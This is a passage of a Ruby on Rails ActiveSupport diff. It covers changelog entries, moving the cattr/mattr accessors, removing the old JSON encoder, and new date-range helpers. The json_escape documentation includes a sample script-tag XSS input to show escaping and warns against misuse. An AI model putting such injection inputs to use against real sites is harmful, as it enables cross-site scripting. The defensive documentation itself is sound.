+* Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to explicitly
+ convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago`
+
+ This will help to catch subtle bugs like:
+
+ def recent?(days = 3)
+ self.created_at >= days.ago
+ end
+
+ The above code would check if the model is created within the last 3 **seconds**.
+
+ In the future, `Numeric#{ago,until,since,from_now}` should be removed completely,
+ or throw some sort of errors to indicate there are no implicit conversion from
+ Numeric to AS::Duration.
+
+ *Godfrey Chan*
+
+* Requires JSON gem version 1.7.7 or above due to a security issue in older versions.
+
+ *Godfrey Chan*
+
+* Removed the old pure-Ruby JSON encoder and switched to a new encoder based on the built-in JSON
+ gem.
+
+ Support for encoding `BigDecimal` as a JSON number, as well as defining custom `encode_json`
+ methods to control the JSON output has been **removed from core**. The new encoder will always
+ encode BigDecimals as `String`s and ignore any custom `encode_json` methods.
+
+ The old encoder has been extracted into the `activesupport-json_encoder` gem. Installing that
+ gem will bring back the ability to encode `BigDecimal`s as numbers as well as `encode_json`
+ support.
+
+ Setting the related configuration `ActiveSupport.encode_big_decimal_as_string` without the
+ `activesupport-json_encoder` gem installed will raise an error.
+
+ *Godfrey Chan*
+
* Add `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These methods change current
time to the given time or time difference by stubbing `Time.now` and `Date.today` to return the
time or date after the difference calculation, or the time or date that got passed into the
- method respectively. These methods also accept a block, which will return current time back to
- its original state at the end of the block.
+ method respectively.
Example for `#travel`:
@@ -157,7 +225,8 @@
*Simon Coffey*
-* Add String#remove(pattern) as a short-hand for the common pattern of String#gsub(pattern, '')
+* Add `String#remove(pattern)` as a short-hand for the common pattern of
+ `String#gsub(pattern, '')`.
*DHH*
@@ -260,11 +329,12 @@
*Carlos Antonio da Silva*
-* Remove deprecated `BufferedLogger`.
+* Remove deprecated `BufferedLogger`, use `ActiveSupport::Logger` instead.
*Yves Senn*
-* Remove deprecated `assert_present` and `assert_blank` methods.
+* Remove deprecated `assert_present` and `assert_blank` methods, use `assert
+ object.blank?` and `assert object.present?` instead.
*Yves Senn*
@@ -305,6 +375,10 @@
*Yves Senn*
+* Removed deprecated `ActiveSupport::JSON::Variable` with no replacement.
+
+ *Toshinori Kajihara*
+
* Raise an error when multiple `included` blocks are defined for a Concern.
The old behavior would silently discard previously defined blocks, running
only the last one.
diff --git a/activesupport/activesupport.gemspec b/activesupport/activesupport.gemspec
index c27c50e47b..4fdc697a15 100644
--- a/activesupport/activesupport.gemspec
+++ b/activesupport/activesupport.gemspec
@@ -20,8 +20,8 @@ Gem::Specification.new do |s|
s.rdoc_options.concat ['--encoding', 'UTF-8']
- s.add_dependency('i18n', '~> 0.6', '>= 0.6.4')
- s.add_dependency 'json', '~> 1.7'
+ s.add_dependency 'i18n', '~> 0.6', '>= 0.6.4'
+ s.add_dependency 'json', '~> 1.7', '>= 1.7.7'
s.add_dependency 'tzinfo', '~> 1.1'
s.add_dependency 'minitest', '~> 5.0'
s.add_dependency 'thread_safe','~> 0.1'
diff --git a/activesupport/lib/active_support.rb b/activesupport/lib/active_support.rb
index 5e1fe9e556..a40c6b559c 100644
--- a/activesupport/lib/active_support.rb
+++ b/activesupport/lib/active_support.rb
@@ -52,6 +52,7 @@ module ActiveSupport
autoload :MessageEncryptor
autoload :MessageVerifier
autoload :Multibyte
+ autoload :NumberHelper
autoload :OptionMerger
autoload :OrderedHash
autoload :OrderedOptions
@@ -63,6 +64,12 @@ module ActiveSupport
autoload :Rescuable
autoload :SafeBuffer, "active_support/core_ext/string/output_safety"
autoload :TestCase
+
+ def self.eager_load!
+ super
+
+ NumberHelper.eager_load!
+ end
end
autoload :I18n, "active_support/i18n"
diff --git a/activesupport/lib/active_support/cache.rb b/activesupport/lib/active_support/cache.rb
index 5c1d473161..d584d50da8 100644
--- a/activesupport/lib/active_support/cache.rb
+++ b/activesupport/lib/active_support/cache.rb
@@ -3,7 +3,7 @@ require 'zlib'
require 'active_support/core_ext/array/extract_options'
require 'active_support/core_ext/array/wrap'
require 'active_support/core_ext/benchmark'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/numeric/bytes'
require 'active_support/core_ext/numeric/time'
require 'active_support/core_ext/object/to_param'
diff --git a/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
index 27718f19d4..f8d48b69df 100644
--- a/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
+++ b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
@@ -1,7 +1,7 @@
class Array
- # The human way of thinking about adding stuff to the end of a list is with append
+ # The human way of thinking about adding stuff to the end of a list is with append.
alias_method :append, :<<
- # The human way of thinking about adding stuff to the beginning of a list is with prepend
+ # The human way of thinking about adding stuff to the beginning of a list is with prepend.
alias_method :prepend, :unshift
end \ No newline at end of file
diff --git a/activesupport/lib/active_support/core_ext/class.rb b/activesupport/lib/active_support/core_ext/class.rb
index 86b752c2f3..c750a10bb2 100644
--- a/activesupport/lib/active_support/core_ext/class.rb
+++ b/activesupport/lib/active_support/core_ext/class.rb
@@ -1,4 +1,3 @@
require 'active_support/core_ext/class/attribute'
-require 'active_support/core_ext/class/attribute_accessors'
require 'active_support/core_ext/class/delegating_attributes'
require 'active_support/core_ext/class/subclasses'
diff --git a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
index 0cf955b889..083b165dce 100644
--- a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
@@ -1,181 +1,6 @@
-require 'active_support/core_ext/array/extract_options'
+require 'active_support/deprecation'
+require 'active_support/core_ext/module/attribute_accessors'
-# Extends the class object with class and instance accessors for class attributes,
-# just like the native attr* accessors for instance attributes.
-class Class
- # Defines a class attribute if it's not defined and creates a reader method that
- # returns the attribute value.
- #
- # class Person
- # cattr_reader :hair_colors
- # end
- #
- # Person.class_variable_set("@@hair_colors", [:brown, :black])
- # Person.hair_colors # => [:brown, :black]
- # Person.new.hair_colors # => [:brown, :black]
- #
- # The attribute name must be a valid method name in Ruby.
- #
- # class Person
- # cattr_reader :"1_Badname "
- # end
- # # => NameError: invalid attribute name
- #
- # If you want to opt out the instance reader method, you can pass <tt>instance_reader: false</tt>
- # or <tt>instance_accessor: false</tt>.
- #
- # class Person
- # cattr_reader :hair_colors, instance_reader: false
- # end
- #
- # Person.new.hair_colors # => NoMethodError
- #
- # Also, you can pass a block to set up the attribute with a default value.
- #
- # class Person
- # cattr_reader :hair_colors do
- # [:brown, :black, :blonde, :red]
- # end
- # end
- #
- # Person.hair_colors # => [:brown, :black, :blonde, :red]
- def cattr_reader(*syms)
- options = syms.extract_options!
- syms.each do |sym|
- raise NameError.new("invalid class attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
- class_eval(<<-EOS, __FILE__, __LINE__ + 1)
- unless defined? @@#{sym}
- @@#{sym} = nil
- end
-
- def self.#{sym}
- @@#{sym}
- end
- EOS
-
- unless options[:instance_reader] == false || options[:instance_accessor] == false
- class_eval(<<-EOS, __FILE__, __LINE__ + 1)
- def #{sym}
- @@#{sym}
- end
- EOS
- end
- class_variable_set("@@#{sym}", yield) if block_given?
- end
- end
-
- # Defines a class attribute if it's not defined and creates a writer method to allow
- # assignment to the attribute.
- #
- # class Person
- # cattr_writer :hair_colors
- # end
- #
- # Person.hair_colors = [:brown, :black]
- # Person.class_variable_get("@@hair_colors") # => [:brown, :black]
- # Person.new.hair_colors = [:blonde, :red]
- # Person.class_variable_get("@@hair_colors") # => [:blonde, :red]
- #
- # The attribute name must be a valid method name in Ruby.
- #
- # class Person
- # cattr_writer :"1_Badname "
- # end
- # # => NameError: invalid attribute name
- #
- # If you want to opt out the instance writer method, pass <tt>instance_writer: false</tt>
- # or <tt>instance_accessor: false</tt>.
- #
- # class Person
- # cattr_writer :hair_colors, instance_writer: false
- # end
- #
- # Person.new.hair_colors = [:blonde, :red] # => NoMethodError
- #
- # Also, you can pass a block to set up the attribute with a default value.
- #
- # class Person
- # cattr_writer :hair_colors do
- # [:brown, :black, :blonde, :red]
- # end
- # end
- #
- # Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
- def cattr_writer(*syms)
- options = syms.extract_options!
- syms.each do |sym|
- raise NameError.new("invalid class attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
- class_eval(<<-EOS, __FILE__, __LINE__ + 1)
- unless defined? @@#{sym}
- @@#{sym} = nil
- end
-
- def self.#{sym}=(obj)
- @@#{sym} = obj
- end
- EOS
-
- unless options[:instance_writer] == false || options[:instance_accessor] == false
- class_eval(<<-EOS, __FILE__, __LINE__ + 1)
- def #{sym}=(obj)
- @@#{sym} = obj
- end
- EOS
- end
- send("#{sym}=", yield) if block_given?
- end
- end
-
- # Defines both class and instance accessors for class attributes.
- #
- # class Person
- # cattr_accessor :hair_colors
- # end
- #
- # Person.hair_colors = [:brown, :black, :blonde, :red]
- # Person.hair_colors # => [:brown, :black, :blonde, :red]
- # Person.new.hair_colors # => [:brown, :black, :blonde, :red]
- #
- # If a subclass changes the value then that would also change the value for
- # parent class. Similarly if parent class changes the value then that would
- # change the value of subclasses too.
- #
- # class Male < Person
- # end
- #
- # Male.hair_colors << :blue
- # Person.hair_colors # => [:brown, :black, :blonde, :red, :blue]
- #
- # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
- # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
- #
- # class Person
- # cattr_accessor :hair_colors, instance_writer: false, instance_reader: false
- # end
- #
- # Person.new.hair_colors = [:brown] # => NoMethodError
- # Person.new.hair_colors # => NoMethodError
- #
- # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
- #
- # class Person
- # cattr_accessor :hair_colors, instance_accessor: false
- # end
- #
- # Person.new.hair_colors = [:brown] # => NoMethodError
- # Person.new.hair_colors # => NoMethodError
- #
- # Also you can pass a block to set up the attribute with a default value.
- #
- # class Person
- # cattr_accessor :hair_colors do
- # [:brown, :black, :blonde, :red]
- # end
- # end
- #
- # Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
- def cattr_accessor(*syms, &blk)
- cattr_reader(*syms)
- cattr_writer(*syms, &blk)
- end
-end
+ActiveSupport::Deprecation.warn(
+ "The cattr_* method definitions have been moved into active_support/core_ext/module/attribute_accessors. Please require that instead."
+)
diff --git a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
index c869a0e210..b85e49aca5 100644
--- a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
@@ -213,6 +213,27 @@ module DateAndTime
end
alias :at_end_of_year :end_of_year
+ # Returns a Range representing the whole week of the current date/time.
+ # Week starts on start_day, default is <tt>Date.week_start</tt> or <tt>config.week_start</tt> when set.
+ def all_week(start_day = Date.beginning_of_week)
+ beginning_of_week(start_day)..end_of_week(start_day)
+ end
+
+ # Returns a Range representing the whole month of the current date/time.
+ def all_month
+ beginning_of_month..end_of_month
+ end
+
+ # Returns a Range representing the whole quarter of the current date/time.
+ def all_quarter
+ beginning_of_quarter..end_of_quarter
+ end
+
+ # Returns a Range representing the whole year of the current date/time.
+ def all_year
+ beginning_of_year..end_of_year
+ end
+
private
def first_hour(date_or_time)
diff --git a/activesupport/lib/active_support/core_ext/hash/keys.rb b/activesupport/lib/active_support/core_ext/hash/keys.rb
index f35c2be4c2..93e716585b 100644
--- a/activesupport/lib/active_support/core_ext/hash/keys.rb
+++ b/activesupport/lib/active_support/core_ext/hash/keys.rb
@@ -61,13 +61,15 @@ class Hash
# on a mismatch. Note that keys are NOT treated indifferently, meaning if you
# use strings for keys but assert symbols as keys, this will fail.
#
- # { name: 'Rob', years: '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: years"
- # { name: 'Rob', age: '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: name"
+ # { name: 'Rob', years: '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: :years. Valid keys are: :name, :age"
+ # { name: 'Rob', age: '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: :name. Valid keys are: 'name', 'age'"
# { name: 'Rob', age: '28' }.assert_valid_keys(:name, :age) # => passes, raises nothing
def assert_valid_keys(*valid_keys)
valid_keys.flatten!
each_key do |k|
- raise ArgumentError.new("Unknown key: #{k}") unless valid_keys.include?(k)
+ unless valid_keys.include?(k)
+ raise ArgumentError.new("Unknown key: #{k.inspect}. Valid keys are: #{valid_keys.map(&:inspect).join(', ')}")
+ end
end
end
diff --git a/activesupport/lib/active_support/core_ext/kernel/reporting.rb b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
index df11737a6b..3b5e205244 100644
--- a/activesupport/lib/active_support/core_ext/kernel/reporting.rb
+++ b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
@@ -48,6 +48,7 @@ module Kernel
yield
ensure
stream.reopen(old_stream)
+ old_stream.close
end
# Blocks and ignores any exception passed as argument if raised within the block.
diff --git a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
index 672cc0256f..f70a839074 100644
--- a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
@@ -1,10 +1,59 @@
require 'active_support/core_ext/array/extract_options'
+# Extends the module object with class/module and instance accessors for
+# class/module attributes, just like the native attr* accessors for instance
+# attributes.
class Module
+ # Defines a class attribute and creates a class and instance reader methods.
+ # The underlying the class variable is set to +nil+, if it is not previously
+ # defined.
+ #
+ # module HairColors
+ # mattr_reader :hair_colors
+ # end
+ #
+ # HairColors.hair_colors # => nil
+ # HairColors.class_variable_set("@@hair_colors", [:brown, :black])
+ # HairColors.hair_colors # => [:brown, :black]
+ #
+ # The attribute name must be a valid method name in Ruby.
+ #
+ # module Foo
+ # mattr_reader :"1_Badname "
+ # end
+ # # => NameError: invalid attribute name
+ #
+ # If you want to opt out the creation on the instance reader method, pass
+ # <tt>instance_reader: false</tt> or <tt>instance_accessor: false</tt>.
+ #
+ # module HairColors
+ # mattr_writer :hair_colors, instance_reader: false
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.new.hair_colors # => NoMethodError
+ #
+ #
+ # Also, you can pass a block to set up the attribute with a default value.
+ #
+ # module HairColors
+ # cattr_reader :hair_colors do
+ # [:brown, :black, :blonde, :red]
+ # end
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.hair_colors # => [:brown, :black, :blonde, :red] + #
def mattr_reader(*syms)
options = syms.extract_options!
syms.each do |sym|
- raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
+ raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
class_eval(<<-EOS, __FILE__, __LINE__ + 1)
@@#{sym} = nil unless defined? @@#{sym}
@@ -20,14 +69,60 @@ class Module
end
EOS
end
+ class_variable_set("@@#{sym}", yield) if block_given?
end
end
+ alias :cattr_reader :mattr_reader
+ # Defines a class attribute and creates a class and instance writer methods to
+ # allow assignment to the attribute.
+ #
+ # module HairColors
+ # mattr_writer :hair_colors
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # HairColors.hair_colors = [:brown, :black]
+ # Person.class_variable_get("@@hair_colors") # => [:brown, :black]
+ # Person.new.hair_colors = [:blonde, :red]
+ # HairColors.class_variable_get("@@hair_colors") # => [:blonde, :red]
+ #
+ # If you want to opt out the instance writer method, pass
+ # <tt>instance_writer: false</tt> or <tt>instance_accessor: false</tt>.
+ #
+ # module HairColors
+ # mattr_writer :hair_colors, instance_writer: false
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.new.hair_colors = [:blonde, :red] # => NoMethodError
+ #
+ # Also, you can pass a block to set up the attribute with a default value.
+ #
+ # class HairColors
+ # mattr_writer :hair_colors do
+ # [:brown, :black, :blonde, :red]
+ # end
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
def mattr_writer(*syms)
options = syms.extract_options!
syms.each do |sym|
- raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
+ raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+ @@#{sym} = nil unless defined? @@#{sym}
+
def self.#{sym}=(obj)
@@#{sym} = obj
end
@@ -40,27 +135,78 @@ class Module
end
EOS
end
+ send("#{sym}=", yield) if block_given?
end
end
+ alias :cattr_writer :mattr_writer
- # Extends the module object with module and instance accessors for class attributes,
- # just like the native attr* accessors for instance attributes.
+ # Defines both class and instance accessors for class attributes.
#
- # module AppConfiguration
- # mattr_accessor :google_api_key
+ # module HairColors
+ # mattr_accessor :hair_colors
+ # end
#
- # self.google_api_key = "123456789"
+ # class Person
+ # include HairColors
# end
#
- # AppConfiguration.google_api_key # => "123456789"
- # AppConfiguration.google_api_key = "overriding the api key!"
- # AppConfiguration.google_api_key # => "overriding the api key!"
+ # Person.hair_colors = [:brown, :black, :blonde, :red]
+ # Person.hair_colors # => [:brown, :black, :blonde, :red]
+ # Person.new.hair_colors # => [:brown, :black, :blonde, :red]
+ #
+ # If a subclass changes the value then that would also change the value for
+ # parent class. Similarly if parent class changes the value then that would
+ # change the value of subclasses too.
+ #
+ # class Male < Person
+ # end
+ #
+ # Male.hair_colors << :blue
+ # Person.hair_colors # => [:brown, :black, :blonde, :red, :blue]
#
# To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
# To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
- # To opt out of both instance methods, pass <tt>instance_accessor: false</tt>.
- def mattr_accessor(*syms)
- mattr_reader(*syms)
- mattr_writer(*syms)
+ #
+ # module HairColors
+ # mattr_accessor :hair_colors, instance_writer: false, instance_reader: false
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.new.hair_colors = [:brown] # => NoMethodError
+ # Person.new.hair_colors # => NoMethodError
+ #
+ # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
+ #
+ # module HairColors
+ # mattr_accessor :hair_colors, instance_acessor: false
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.new.hair_colors = [:brown] # => NoMethodError
+ # Person.new.hair_colors # => NoMethodError
+ #
+ # Also you can pass a block to set up the attribute with a default value.
+ #
+ # module HairColors
+ # mattr_accessor :hair_colors do
+ # [:brown, :black, :blonde, :red]
+ # end
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.class_variable_get("@@hair_colors") #=> [:brown, :black, :blonde, :red]
+ def mattr_accessor(*syms, &blk)
+ mattr_reader(*syms, &blk)
+ mattr_writer(*syms, &blk)
end
+ alias :cattr_accessor :mattr_accessor
end
diff --git a/activesupport/lib/active_support/core_ext/module/delegation.rb b/activesupport/lib/active_support/core_ext/module/delegation.rb
index 182e74d9e1..58146cdf7a 100644
--- a/activesupport/lib/active_support/core_ext/module/delegation.rb
+++ b/activesupport/lib/active_support/core_ext/module/delegation.rb
@@ -138,6 +138,8 @@ class Module
#
# Foo.new("Bar").name # raises NoMethodError: undefined method `name'
#
+ # The target method must be public, otherwise it will raise +NoMethodError+.
+ #
def delegate(*methods)
options = methods.pop
unless options.is_a?(Hash) && to = options[:to]
diff --git a/activesupport/lib/active_support/core_ext/numeric/time.rb b/activesupport/lib/active_support/core_ext/numeric/time.rb
index d97ce938c1..704c4248d9 100644
--- a/activesupport/lib/active_support/core_ext/numeric/time.rb
+++ b/activesupport/lib/active_support/core_ext/numeric/time.rb
@@ -63,6 +63,7 @@ class Numeric
# Reads best without arguments: 10.minutes.ago
def ago(time = ::Time.current)
+ ActiveSupport::Deprecation.warn "Calling #ago or #until on a number (e.g. 5.ago) is deprecated and will be removed in the future, use 5.seconds.ago instead"
time - self
end
@@ -71,6 +72,7 @@ class Numeric
# Reads best with argument: 10.minutes.since(time)
def since(time = ::Time.current)
+ ActiveSupport::Deprecation.warn "Calling #since or #from_now on a number (e.g. 5.since) is deprecated and will be removed in the future, use 5.seconds.since instead"
time + self
end
diff --git a/activesupport/lib/active_support/core_ext/object/json.rb b/activesupport/lib/active_support/core_ext/object/json.rb
index 7c11d44f57..1675145ffe 100644
--- a/activesupport/lib/active_support/core_ext/object/json.rb
+++ b/activesupport/lib/active_support/core_ext/object/json.rb
@@ -62,40 +62,24 @@ class TrueClass
def as_json(options = nil) #:nodoc:
self
end
-
- def encode_json(encoder) #:nodoc:
- to_s
- end
end
class FalseClass
def as_json(options = nil) #:nodoc:
self
end
-
- def encode_json(encoder) #:nodoc:
- to_s
- end
end
class NilClass
def as_json(options = nil) #:nodoc:
self
end
-
- def encode_json(encoder) #:nodoc:
- 'null'
- end
end
class String
def as_json(options = nil) #:nodoc:
self
end
-
- def encode_json(encoder) #:nodoc:
- encoder.escape(self)
- end
end
class Symbol
@@ -108,10 +92,6 @@ class Numeric
def as_json(options = nil) #:nodoc:
self
end
-
- def encode_json(encoder) #:nodoc:
- to_s
- end
end
class Float
@@ -132,15 +112,8 @@ class BigDecimal
# if the other end knows by contract that the data is supposed to be a
# BigDecimal, it still has the chance to post-process the string and get the
# real value.
- #
- # Use <tt>ActiveSupport.encode_big_decimal_as_string = true</tt> to
- # override this behavior.
def as_json(options = nil) #:nodoc:
- if finite?
- ActiveSupport.encode_big_decimal_as_string ? to_s : self
- else
- nil
- end
+ finite? ? to_s : nil
end
end
@@ -166,10 +139,6 @@ class Array
def as_json(options = nil) #:nodoc:
map { |v| options ? v.as_json(options.dup) : v.as_json }
end
-
- def encode_json(encoder) #:nodoc:
- "[#{map { |v| v.as_json.encode_json(encoder) } * ','}]"
- end
end
class Hash
@@ -189,10 +158,6 @@ class Hash
Hash[subset.map { |k, v| [k.to_s, options ? v.as_json(options.dup) : v.as_json] }]
end
-
- def encode_json(encoder) #:nodoc:
- "{#{map { |k,v| "#{k.as_json.encode_json(encoder)}:#{v.as_json.encode_json(encoder)}" } * ','}}"
- end
end
class Time
@@ -225,7 +190,7 @@ class DateTime
end
end
-class Process::Status
+class Process::Status #:nodoc:
def as_json(options = nil)
{ :exitstatus => exitstatus, :pid => pid }
end
diff --git a/activesupport/lib/active_support/core_ext/string/inflections.rb b/activesupport/lib/active_support/core_ext/string/inflections.rb
index b7b750c77b..cf9b1a4ec0 100644
--- a/activesupport/lib/active_support/core_ext/string/inflections.rb
+++ b/activesupport/lib/active_support/core_ext/string/inflections.rb
@@ -182,10 +182,6 @@ class String
#
# 'egg_and_hams'.classify # => "EggAndHam"
# 'posts'.classify # => "Post"
- #
- # Singular names are not handled correctly.
- #
- # 'business'.classify # => "Business"
def classify
ActiveSupport::Inflector.classify(self)
end
diff --git a/activesupport/lib/active_support/core_ext/string/output_safety.rb b/activesupport/lib/active_support/core_ext/string/output_safety.rb
index dc033ed11b..1b2098fc84 100644
--- a/activesupport/lib/active_support/core_ext/string/output_safety.rb
+++ b/activesupport/lib/active_support/core_ext/string/output_safety.rb
@@ -4,9 +4,10 @@ require 'active_support/core_ext/kernel/singleton_class'
class ERB
module Util
HTML_ESCAPE = { '&' => '&amp;', '>' => '&gt;', '<' => '&lt;', '"' => '&quot;', "'" => '&#39;' }
- JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003E', '<' => '\u003C' }
+ JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003e', '<' => '\u003c', "\u2028" => '\u2028', "\u2029" => '\u2029' }
+ HTML_ESCAPE_REGEXP = /[&"'><]/
HTML_ESCAPE_ONCE_REGEXP = /["><']|&(?!([a-zA-Z]+|(#\d+));)/
- JSON_ESCAPE_REGEXP = /[&"><]/
+ JSON_ESCAPE_REGEXP = /[\u2028\u2029&><]/u
# A utility method for escaping HTML tag characters.
# This method is also aliased as <tt>h</tt>.
@@ -21,7 +22,7 @@ class ERB
if s.html_safe?
s
else
- s.gsub(/[&"'><]/, HTML_ESCAPE).html_safe
+ s.gsub(HTML_ESCAPE_REGEXP, HTML_ESCAPE).html_safe
end
end
@@ -48,17 +49,56 @@ class ERB
module_function :html_escape_once
- # A utility method for escaping HTML entities in JSON strings
- # using \uXXXX JavaScript escape sequences for string literals:
+ # A utility method for escaping HTML entities in JSON strings. Specifically, the
+ # &, > and < characters are replaced with their equivalent unicode escaped form -
+ # \u0026, \u003e, and \u003c. The Unicode sequences \u2028 and \u2029 are also
+ # escaped as they are treated as newline characters in some JavaScript engines.
+ # These sequences have identical meaning as the original characters inside the
+ # context of a JSON string, so assuming the input is a valid and well-formed
+ # JSON value, the output will have equivalent meaning when parsed:
#
- # json_escape('is a > 0 & a < 10?')
- # # => is a \u003E 0 \u0026 a \u003C 10?
+ # json = JSON.generate({ name: "</script><script>alert('PWNED!!!')</script>"})
+ # # => "{\"name\":\"</script><script>alert('PWNED!!!')</script>\"}"
#
- # Note that after this operation is performed the output is not
- # valid JSON. In particular double quotes are removed:
+ # json_escape(json)
+ # # => "{\"name\":\"\\u003C/script\\u003E\\u003Cscript\\u003Ealert('PWNED!!!')\\u003C/script\\u003E\"}"
+ #
+ # JSON.parse(json) == JSON.parse(json_escape(json))
+ # # => true
+ #
+ # The intended use case for this method is to escape JSON strings before including
+ # them inside a script tag to avoid XSS vulnerability:
+ #
+ # <script>
+ # var currentUser = <%= json_escape current_user.to_json %>;
+ # </script>
+ #
+ # WARNING: this helper only works with valid JSON. Using this on non-JSON values
+ # will open up serious XSS vulnerabilities. For example, if you replace the
+ # +current_user.to_json+ in the example above with user input instead, the browser
+ # will happily eval() that string as JavaScript.
+ #
+ # The escaping performed in this method is identical to those performed in the
+ # Active Support JSON encoder when +ActiveSupport.escape_html_entities_in_json+ is
+ # set to true. Because this transformation is idempotent, this helper can be
+ # applied even if +ActiveSupport.escape_html_entities_in_json+ is already true.
+ #
+ # Therefore, when you are unsure if +ActiveSupport.escape_html_entities_in_json+
+ # is enabled, or if you are unsure where your JSON string originated from, it
+ # is recommended that you always apply this helper (other libraries, such as the
+ # JSON gem, do not provide this kind of protection by default; also some gems
+ # might override +to_json+ to bypass Active Support's encoder).
+ #
+ # The output of this helper method is marked as HTML safe so that you can directly
+ # include it inside a <tt><script></tt> tag as shown above.
+ #
+ # However, it is NOT safe to use the output of this inside an HTML attribute,
+ # because quotation marks are not escaped. Doing so might break your page's layout.
+ # If you intend to use this inside an HTML attribute, you should use the
+ # +html_escape+ helper (or its +h+ alias) instead:
+ #
+ # <div data-user-info="<%= h current_user.to_json %>">...</div>
#
- # json_escape('{"name":"john","created_at":"2010-04-28T01:39:31Z","id":1}')
- # # => {name:john,created_at:2010-04-28T01:39:31Z,id:1}
def json_escape(s)
result = s.to_s.gsub(JSON_ESCAPE_REGEXP, JSON_ESCAPE)
s.html_safe? ? result.html_safe : result
@@ -171,7 +211,7 @@ module ActiveSupport #:nodoc:
end
UNSAFE_STRING_METHODS.each do |unsafe_method|
- if 'String'.respond_to?(unsafe_method)
+ if unsafe_method.respond_to?(unsafe_method)
class_eval <<-EOT, __FILE__, __LINE__ + 1
def #{unsafe_method}(*args, &block) # def capitalize(*args, &block)
to_str.#{unsafe_method}(*args, &block) # to_str.capitalize(*args, &block)
diff --git a/activesupport/lib/active_support/core_ext/time/calculations.rb b/activesupport/lib/active_support/core_ext/time/calculations.rb
index 6e0af0db4d..5ebafcc26e 100644
--- a/activesupport/lib/active_support/core_ext/time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/time/calculations.rb
@@ -199,27 +199,6 @@ class Time
beginning_of_day..end_of_day
end
- # Returns a Range representing the whole week of the current time.
- # Week starts on start_day, default is <tt>Date.week_start</tt> or <tt>config.week_start</tt> when set.
- def all_week(start_day = Date.beginning_of_week)
- beginning_of_week(start_day)..end_of_week(start_day)
- end
-
- # Returns a Range representing the whole month of the current time.
- def all_month
- beginning_of_month..end_of_month
- end
-
- # Returns a Range representing the whole quarter of the current time.
- def all_quarter
- beginning_of_quarter..end_of_quarter
- end
-
- # Returns a Range representing the whole year of the current time.
- def all_year
- beginning_of_year..end_of_year
- end
-
def plus_with_duration(other) #:nodoc:
if ActiveSupport::Duration === other
other.since(self)
diff --git a/activesupport/lib/active_support/dependencies.rb b/activesupport/lib/active_support/dependencies.rb
index 19d4ff51d7..6be19771f5 100644
--- a/activesupport/lib/active_support/dependencies.rb
+++ b/activesupport/lib/active_support/dependencies.rb
@@ -176,14 +176,22 @@ module ActiveSupport #:nodoc:
end
def const_missing(const_name)
- # The interpreter does not pass nesting information, and in the
- # case of anonymous modules we cannot even make the trade-off of
- # assuming their name reflects the nesting. Resort to Object as
- # the only meaningful guess we can make.
- from_mod = anonymous? ? ::Object : self
+ from_mod = anonymous? ? guess_for_anonymous(const_name) : self
Dependencies.load_missing_constant(from_mod, const_name)
end
+ # Dependencies assumes the name of the module reflects the nesting (unless
+ # it can be proven that is not the case), and the path to the file that
+ # defines the constant. Anonymous modules cannot follow these conventions
+ # and we assume therefore the user wants to refer to a top-level constant.
+ def guess_for_anonymous(const_name)
+ if Object.const_defined?(const_name)
+ raise NameError, "#{const_name} cannot be autoloaded from an anonymous class or module"
+ else
+ Object
+ end
+ end
+
def unloadable(const_desc = self)
super(const_desc)
end
@@ -456,8 +464,6 @@ module ActiveSupport #:nodoc:
